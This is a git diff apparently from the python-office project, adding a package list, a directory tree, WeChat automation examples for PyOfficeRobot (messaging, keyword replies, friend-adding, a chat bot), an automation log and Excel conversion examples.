diff --git a/docs/allpackages.txt b/docs/allpackages.txt new file mode 100644 index 0000000..1aa3812 --- /dev/null +++ b/docs/allpackages.txt @@ -0,0 +1,61 @@ +about-time==3.1.1 +alive-progress==2.4.1 +atomicwrites==1.4.0 +attrs==21.4.0 +certifi==2022.6.15 +charset-normalizer==2.0.12 +click==8.1.3 +colorama==0.4.4 +commonmark==0.9.1 +decorator==4.4.2 +et-xmlfile==1.1.0 +Faker==13.13.0 +fire==0.4.0 +fonttools==4.33.3 +fpdf==1.7.2 +grapheme==0.6.0 +idna==3.3 +imageio==2.19.3 +imageio-ffmpeg==0.4.7 +iniconfig==1.1.1 +libretranslatepy==2.1.1 +lxml==4.9.0 +moviepy==1.0.3 +numpy==1.22.4 +opencv-python==4.6.0.66 +openpyxl==3.0.10 +packaging==21.3 +pandas==1.4.2 +pdf2docx==0.5.3 +pikepdf==5.1.5 +Pillow==9.1.1 +pluggy==1.0.0 +proglog==0.1.10 +progress==1.6 +py==1.11.0 +Pygments==2.12.0 +PyMuPDF==1.19.6 +pyparsing==3.0.9 +PyPDF2==2.2.0 +python-dateutil==2.8.2 +python-docx==0.8.11 +python-pptx==0.6.21 +pytz==2022.1 +pywin32==304 +qrcode==7.3.1 +reportlab==3.6.10 +requests==2.28.0 +rich==12.4.4 +six==1.16.0 +termcolor==1.1.0 +tomli==2.0.1 +tqdm==4.64.0 +translate==3.6.1 +typer==0.4.1 +typing_extensions==4.2.0 +urllib3==1.26.9 +xlrd==2.0.1 +XlsxWriter==3.0.3 +xlutils==2.0.0 +xlwings==0.27.10 +xlwt==1.3.0 diff --git a/docs/html/404.html b/docs/html/404.html new file mode 100644 index 0000000..10f4b33 --- /dev/null +++ b/docs/html/404.html @@ -0,0 +1,252 @@ + + + + + + + + 404 NOT FOUND - qian.blue + + + + +
+
+
+
+
+
+
+
+ + +
+
+
+ + + + + \ No newline at end of file diff --git "a/Documentation/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind" "b/docs/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind" similarity index 100% rename from "Documentation/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind" rename to "docs/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind" diff --git a/docs/tree.txt b/docs/tree.txt new file mode 100644 index 0000000..1b07e06 --- /dev/null +++ b/docs/tree.txt @@ -0,0 +1,22 @@ +ļ PATH б +кΪ 000000AB 0B25:163E +D:\DOWNLOAD\YOU-GET\HIGH-PY\PYTHON-OFFICE +.idea + inspectionProfiles + shelf +cli +contributors + demo +core +docs +lib + image + pdf + ppt + tools + utils +office +script +tests +venv + diff --git "a/docs/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256.xmind" "b/docs/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256.xmind" new file mode 100644 index 0000000..ed8469f Binary files /dev/null and "b/docs/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256.xmind" differ diff --git "a/examples/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py" "b/examples/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py" new file mode 100644 index 0000000..cd730b9 --- /dev/null +++ "b/examples/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@Date :2023/2/13 21:19 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1te4y1y7Ro +''' + +# 首先,将PyOfficeRobot模块导入到我们的代码块中。 +import PyOfficeRobot + +PyOfficeRobot.chat.send_message(who='小红书:程序员晚枫', message='你好') +# PyOfficeRobot.chat.send_message(who='每天进步一点点', message='你好') diff --git "a/examples/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py" "b/examples/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py" new file mode 100644 index 0000000..5628634 --- /dev/null +++ "b/examples/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@Date :2023/2/13 21:19 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1te4y1y7Ro +''' + +import PyOfficeRobot + +# PyOfficeRobot.file.send_file(who='每天进步一点点', file=r'C:\Users\Lenovo\Desktop\temp\0.jpg') +PyOfficeRobot.file.send_file(who='B站:程序员晚枫', file=r'C:\Users\Lenovo\Desktop\temp\0.jpg') diff --git "a/examples/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py" "b/examples/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py" new file mode 100644 index 0000000..2770163 --- /dev/null +++ "b/examples/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py" @@ -0,0 +1,18 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@Date :2023/2/13 21:19 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1m8411b7LZ +''' +import PyOfficeRobot + +keywords = { + "我要报名": "你好,这是报名链接:www.python-office.com", + "点赞了吗?": "点了", + "关注了吗?": "必须的", + "投币了吗?": "三连走起", +} +PyOfficeRobot.chat.chat_by_keywords(who='抖音:程序员晚枫', keywords=keywords) +# PyOfficeRobot.chat.chat_by_keywords(who='每天进步一点点', keywords=keywords) diff --git "a/examples/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py" "b/examples/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py" new file mode 100644 index 0000000..27f19e5 --- /dev/null +++ "b/examples/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@Date :2023/2/13 21:19 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1m8411b7LZ +''' +import PyOfficeRobot + +# PyOfficeRobot.chat.send_message_by_time(who='每天进步一点点', message='你好', time='21:51:55') +PyOfficeRobot.chat.send_message_by_time(who='快手:程序员晚枫', message='你好', time='21:51:55') diff --git "a/examples/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py" "b/examples/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py" new file mode 100644 index 0000000..14634fc --- /dev/null +++ "b/examples/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py" @@ -0,0 +1,18 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/9 23:22 +@本段代码的视频说明 :https://www.bilibili.com/video/BV14R4y127h6 +''' +import PyOfficeRobot + +import office + +keywords = { + "我要报名": "你好,这是报名链接:www.python-office.com", + "来个密码": office.tools.passwordtools(), +} +# PyOfficeRobot.chat.chat_by_keywords(who='每天进步一点点', keywords=keywords) +PyOfficeRobot.chat.chat_by_keywords(who='知乎:程序员晚枫', keywords=keywords) \ No newline at end of file diff --git "a/examples/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py" "b/examples/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py" new file mode 100644 index 0000000..2216fe7 --- /dev/null +++ "b/examples/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/9 23:25 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1SY411y7Uh +''' + +# 原始方式 +import office + +office.wechat.send_message(who='百度一下:程序员晚枫', message='点个star吧') +# office.wechat.send_message(who='每天进步一点点', message='你好') + +# 独立方式 +# import PyOfficeRobot + + +# PyOfficeRobot.chat.send_message(who='百度一下:程序员晚枫', message='点个star吧') diff --git "a/examples/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py" "b/examples/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py" new file mode 100644 index 0000000..2b1f015 --- /dev/null +++ "b/examples/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/9 23:28 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1eD4y1g7yZ +''' + +import PyOfficeRobot + +PyOfficeRobot.file.get_group_list() + +# TODO:有BUG:AttributeError: 'NoneType' object has no attribute 'Name' diff --git "a/examples/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py" "b/examples/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py" new file mode 100644 index 0000000..dc4b0be --- /dev/null +++ "b/examples/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/9 23:29 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1Xg4y1s79z +''' + +import PyOfficeRobot + +PyOfficeRobot.chat.send_message(who='每天进步一点点', message='你好' + '{ctrl}{ENTER}' + 'hello') +# PyOfficeRobot.chat.send_message(who='CSDN:程序员晚枫', message='你好' + '{ctrl}{ENTER}' + 'hello') diff --git "a/examples/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py" "b/examples/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py" new file mode 100644 index 0000000..135e00e --- /dev/null +++ "b/examples/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py" @@ -0,0 +1,24 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/4/27 21:19 +@Description : +''' + +""" +批量加好友,1行代码实现 +""" +# pip install PyOfficeRobot>=0.1.5 +import PyOfficeRobot + +msg = "你好,我是程序员晚枫,全网同名。" +num_notes = { + # '微信号/手机号': '你给Ta的备注', + # '1366666': '公众号-晚枫', + 'CoderWanFeng': '小红书-晚枫', +} +PyOfficeRobot.friend.add(msg=msg, num_notes=num_notes) + +# TODO:控件改变了,有BUG diff --git "a/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py" "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py" new file mode 100644 index 0000000..96cade7 --- /dev/null +++ "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py" @@ -0,0 +1,18 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/4/27 21:20 +@Description : +''' + +""" +定时群发消息 +""" + +# pip +import PyOfficeRobot + +if __name__ == '__main__': + PyOfficeRobot.group.send() diff --git "a/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt" "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt" new file mode 100644 index 0000000..83a1759 --- /dev/null +++ "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt" @@ -0,0 +1,4 @@ +大家好,这里是程序员晚枫。 +今天的视频更新了! +【批量添加好友】 +视频链接:https://www.bilibili.com/video/BV1DV4y1o7t2 \ No newline at end of file diff --git "a/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" new file mode 100644 index 0000000..fc9b489 Binary files /dev/null and "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" differ diff --git a/examples/PyOfficeRobot/011-chat_chatgpt.py b/examples/PyOfficeRobot/011-chat_chatgpt.py new file mode 100644 index 0000000..5016d1e --- /dev/null +++ b/examples/PyOfficeRobot/011-chat_chatgpt.py @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/3/19 18:17 +@Description : +''' +# pip install PyOfficeRobot +import PyOfficeRobot + +# +PyOfficeRobot.chat.chat_by_gpt(who='程序员晚枫', api_key='你的api_key') + +# 24小时、 diff --git "a/examples/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py" "b/examples/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py" new file mode 100644 index 0000000..1f1cb16 --- /dev/null +++ "b/examples/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/28 21:54 +@本段代码的视频说明 : https://www.bilibili.com/video/BV1394y1e787 +''' + +# pip install PyOfficeRobot +import PyOfficeRobot + +# 1行代码,开始智能聊天 +PyOfficeRobot.chat.chat_robot(who='每天进步一点点') diff --git a/examples/PyOfficeRobot/@AutomationLog.txt b/examples/PyOfficeRobot/@AutomationLog.txt new file mode 100644 index 0000000..c305aa2 --- /dev/null +++ b/examples/PyOfficeRobot/@AutomationLog.txt @@ -0,0 +1,84 @@ +2023-08-09 21:48:46.468 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.034 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.059 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.075 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.080 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.087 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.090 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.097 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.104 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.111 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.119 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.125 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.133 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.141 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.149 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.153 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.156 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:12.166 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:13.061 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:13.582 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:13.636 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:14.575 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:14.609 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:15.347 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:15.379 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:16.085 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:16.115 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:16.949 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:16.982 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:17.644 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:17.679 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:18.344 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:18.403 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 21:49:19.395 WeChatType.py[48] SplitMessage -> 2023-08-09 22:14:56.550 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.573 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.587 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.595 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.607 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.613 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.623 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.628 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.637 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.641 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.649 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:14:56.653 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:06.417 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.139 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.170 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.181 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.196 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.201 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.205 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.213 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.218 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:10.227 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:11.860 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:14.232 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:14.911 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:14.932 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.067 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.081 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.092 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.100 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.105 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.109 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.122 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.129 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.137 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.148 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.159 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.176 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.190 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.194 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.204 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.217 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.225 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.239 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.250 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.256 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.270 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.283 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.288 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:15:15.292 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl} +2023-08-09 22:17:10.058 WeChatType.py[48] SplitMessage -> \ No newline at end of file diff --git "a/examples/poexcel/Excel\350\275\254PDF.py" "b/examples/poexcel/Excel\350\275\254PDF.py" new file mode 100644 index 0000000..ec6e149 --- /dev/null +++ "b/examples/poexcel/Excel\350\275\254PDF.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/16 19:44 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1A84y1N7or/ +''' + +import office + +office.excel.excel2pdf(excel_path=r"D:\test\程序员晚枫.xlsx", + pdf_path=r"D:\test\程序员晚枫.pdf") diff --git a/examples/poexcel/excel/split_excel_by_column.xlsx b/examples/poexcel/excel/split_excel_by_column.xlsx new file mode 100644 index 0000000..10ebd5c Binary files /dev/null and b/examples/poexcel/excel/split_excel_by_column.xlsx differ diff --git a/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx b/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx new file mode 100644 index 0000000..606436d Binary files /dev/null and b/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx differ diff --git a/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx b/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx new file mode 100644 index 0000000..65cd110 Binary files /dev/null and b/examples/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx differ diff --git "a/examples/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py" "b/examples/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py" new file mode 100644 index 0000000..df5fe1b --- /dev/null +++ "b/examples/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/15 0:30 +@本段代码的视频说明 : +''' + +import office + +# 一行代码,创建Excel文件 +office.excel.fake2excel() diff --git "a/examples/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py" "b/examples/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py" new file mode 100644 index 0000000..8e28e2d --- /dev/null +++ "b/examples/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/6 20:17 +@本段代码的视频说明 : +''' +import poexcel + +poexcel.merge2sheet(dir_path=r'D:\workplace\code\github\python-office\tests\test_files\excel\merge2sheet', + output_sheet_name=r'platform', output_excel_name=r'./output/merge2sheet') diff --git "a/examples/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py" "b/examples/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py" new file mode 100644 index 0000000..8a60c11 --- /dev/null +++ "b/examples/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 